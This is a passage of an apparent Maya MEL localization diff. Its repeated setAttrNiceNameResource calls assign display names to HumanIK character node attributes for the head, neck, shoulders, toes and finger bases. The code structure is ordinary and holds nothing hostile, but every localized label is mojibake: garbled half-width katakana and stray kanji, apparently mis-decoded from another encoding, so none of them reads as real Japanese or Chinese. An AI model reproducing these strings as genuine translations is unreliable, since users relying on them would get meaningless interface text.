"HIKCharacterNode", "RightHandMaxRLimit", "モメハヨラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitx", "モメハヨラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimity", "モメハヨラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitz", "モメハヨラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnablex", "ニモテモメハヨラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnabley", "ニモテモメハヨラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnablez", "ニモテモメハヨラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnablex", "ニモテモメハヨラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnabley", "ニモテモメハヨラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnablez", "ニモテモメハヨラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Head", "ヘキイソ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadT", "ヘキイソニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTx", "ヘキイソニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTy", "ヘキイソニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTz", "ヘキイソニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadR", "ヘキイソミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRx", "ヘキイソミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRy", "ヘキイソミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRz", "ヘキイソミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadS", "ヘキイソヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSx", "ヘキイソヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSy", "ヘキイソヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSz", "ヘキイソヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateOrder", "ヘキイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxis", "ヘキイソミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisx", "ヘキイソミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisy", "ヘキイソミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisz", "ヘキイソミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrient", "ヘキイソケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrientx", "ヘキイソケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrienty", "ヘキイソケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrientz", "ヘキイソケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimit", "ヘキイソラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitx", "ヘキイソラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimity", "ヘキイソラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitz", "ヘキイソラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimit", "ヘキイソラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitx", "ヘキイソラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimity", "ヘキイソラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitz", "ヘキイソラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnablex", "ニモテヘキイソラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnabley", "ニモテヘキイソラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnablez", "ニモテヘキイソラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnablex", "ニモテヘキイソラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnabley", "ニモテヘキイソラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnablez", "ニモテヘキイソラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBase", "ラスナヨコク" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseT", "ラスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTx", "ラスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTy", "ラスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTz", "ラスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseR", "ラスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRx", "ラスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRy", "ラスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRz", "ラスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseS", "ラスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSx", "ラスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSy", "ラスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSz", "ラスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", "ラスナヨコクミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxis", "ラスナヨコクミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisx", "ラスナヨコクミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisy", "ラスナヨコクミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisz", "ラスナヨコクミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrient", "ラスナヨコクケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrientx", "ラスナヨコクケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrienty", "ラスナヨコクケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrientz", "ラスナヨコクケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimit", "ラスナヨコクラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitx", "ラスナヨコクラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimity", "ラスナヨコクラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitz", "ラスナヨコクラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimit", "ラスナヨコクラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitx", "ラスナヨコクラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimity", "ラスナヨコクラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitz", "ラスナヨコクラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnablex", "ニモテラスナヨコクラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnabley", "ニモテラスナヨコクラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnablez", "ニモテラスナヨコクラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnablex", "ニモテラスナヨコクラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnabley", "ニモテラスナヨコクラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnablez", "ニモテラスナヨコクラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBase", "モメスナヨコク" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseT", "モメスナヨコクニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTx", "モメスナヨコクニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTy", "モメスナヨコクニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTz", "モメスナヨコクニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseR", "モメスナヨコクミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRx", "モメスナヨコクミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRy", "モメスナヨコクミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRz", "モメスナヨコクミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseS", "モメスナヨコクヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSx", "モメスナヨコクヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSy", "モメスナヨコクヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSz", "モメスナヨコクヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateOrder", "モメスナヨコクミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxis", "モメスナヨコクミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisx", "モメスナヨコクミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisy", "モメスナヨコクミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisz", "モメスナヨコクミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrient", "モメスナヨコクケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrientx", "モメスナヨコクケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrienty", "モメスナヨコクケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrientz", "モメスナヨコクケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimit", "モメスナヨコクラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitx", "モメスナヨコクラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimity", "モメスナヨコクラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitz", "モメスナヨコクラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimit", "モメスナヨコクラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitx", "モメスナヨコクラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimity", "モメスナヨコクラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitz", "モメスナヨコクラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnablex", "ニモテモメスナヨコクラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnabley", "ニモテモメスナヨコクラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnablez", "ニモテモメスナヨコクラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnablex", "ニモテモメスナヨコクラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnabley", "ニモテモメスナヨコクラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnablez", "ニモテモメスナヨコクラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulder", "ラシ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderT", "ラシ酥スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTx", "ラシ酥スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTy", "ラシ酥スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTz", "ラシ酥スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderR", "ラシ醪ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRx", "ラシ醪ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRy", "ラシ醪ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRz", "ラシ醪ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderS", "ラシ醉キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSx", "ラシ醉キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSy", "ラシ醉キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSz", "ラシ醉キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateOrder", "ラシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxis", "ラシ醪ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisx", "ラシ醪ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisy", "ラシ醪ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisz", "ラシ醪ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrient", "ラシ郢リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrientx", "ラシ郢リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrienty", "ラシ郢リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrientz", "ラシ郢リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimit", "ラシ釋ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitx", "ラシ釋ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimity", "ラシ釋ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitz", "ラシ釋ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimit", "ラシ釋エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitx", "ラシ釋エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimity", "ラシ釋エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitz", "ラシ釋エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnablex", "ニモテラシ釋ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnabley", "ニモテラシ釋ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnablez", "ニモテラシ釋ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnablex", "ニモテラシ釋エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnabley", "ニモテラシ釋エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnablez", "ニモテラシ釋エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulder", "モメシ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderT", "モメシ酥スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTx", "モメシ酥スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTy", "モメシ酥スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTz", "モメシ酥スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderR", "モメシ醪ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRx", "モメシ醪ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRy", "モメシ醪ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRz", "モメシ醪ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderS", "モメシ醉キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSx", "モメシ醉キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSy", "モメシ醉キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSz", "モメシ醉キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateOrder", "モメシ醪ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxis", "モメシ醪ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxisx", "モメシ醪ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxisy", "モメシ醪ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxisz", "モメシ醪ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrient", "モメシ郢リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrientx", "モメシ郢リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrienty", "モメシ郢リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderJointOrientz", "モメシ郢リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimit", "モメシ釋ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitx", "モメシ釋ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimity", "モメシ釋ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitz", "モメシ釋ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimit", "モメシ釋エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitx", "モメシ釋エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimity", "モメシ釋エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitz", "モメシ釋エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnablex", "ニモテモメシ釋ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnabley", "ニモテモメシ釋ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMinRLimitEnablez", "ニモテモメシ釋ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnablex", "ニモテモメシ釋エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnabley", "ニモテモメシ釋エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderMaxRLimitEnablez", "ニモテモメシ釋エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck", "セアイソ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckT", "セアイソニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTx", "セアイソニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTy", "セアイソニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckTz", "セアイソニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckR", "セアイソミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRx", "セアイソミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRy", "セアイソミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRz", "セアイソミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckS", "セアイソヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSx", "セアイソヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSy", "セアイソヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckSz", "セアイソヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateOrder", "セアイソミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxis", "セアイソミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisx", "セアイソミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisy", "セアイソミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckRotateAxisz", "セアイソミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrient", "セアイソケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrientx", "セアイソケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrienty", "セアイソケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckJointOrientz", "セアイソケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimit", "セアイソラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitx", "セアイソラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimity", "セアイソラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitz", "セアイソラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimit", "セアイソラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitx", "セアイソラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimity", "セアイソラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitz", "セアイソラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnablex", "ニモテセアイソラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnabley", "ニモテセアイソラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMinRLimitEnablez", "ニモテセアイソラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnablex", "ニモテセアイソラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnabley", "ニモテセアイソラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "NeckMaxRLimitEnablez", "ニモテセアイソラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBase", "ラハヨヨクク" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseT", "ラハヨヨククニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTx", "ラハヨヨククニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTy", "ラハヨヨククニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseTz", "ラハヨヨククニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseR", "ラハヨヨククミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRx", "ラハヨヨククミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRy", "ラハヨヨククミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRz", "ラハヨヨククミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseS", "ラハヨヨククヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSx", "ラハヨヨククヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSy", "ラハヨヨククヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseSz", "ラハヨヨククヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", "ラハヨヨククミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxis", "ラハヨヨククミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisx", "ラハヨヨククミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisy", "ラハヨヨククミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseRotateAxisz", "ラハヨヨククミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrient", "ラハヨヨククケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrientx", "ラハヨヨククケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrienty", "ラハヨヨククケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseJointOrientz", "ラハヨヨククケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimit", "ラハヨヨククラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitx", "ラハヨヨククラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimity", "ラハヨヨククラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitz", "ラハヨヨククラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimit", "ラハヨヨククラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitx", "ラハヨヨククラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimity", "ラハヨヨククラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMaxRLimitz", "ラハヨヨククラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftFingerBaseMinRLimitEnablex", "ニモテラハヨヨククラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", 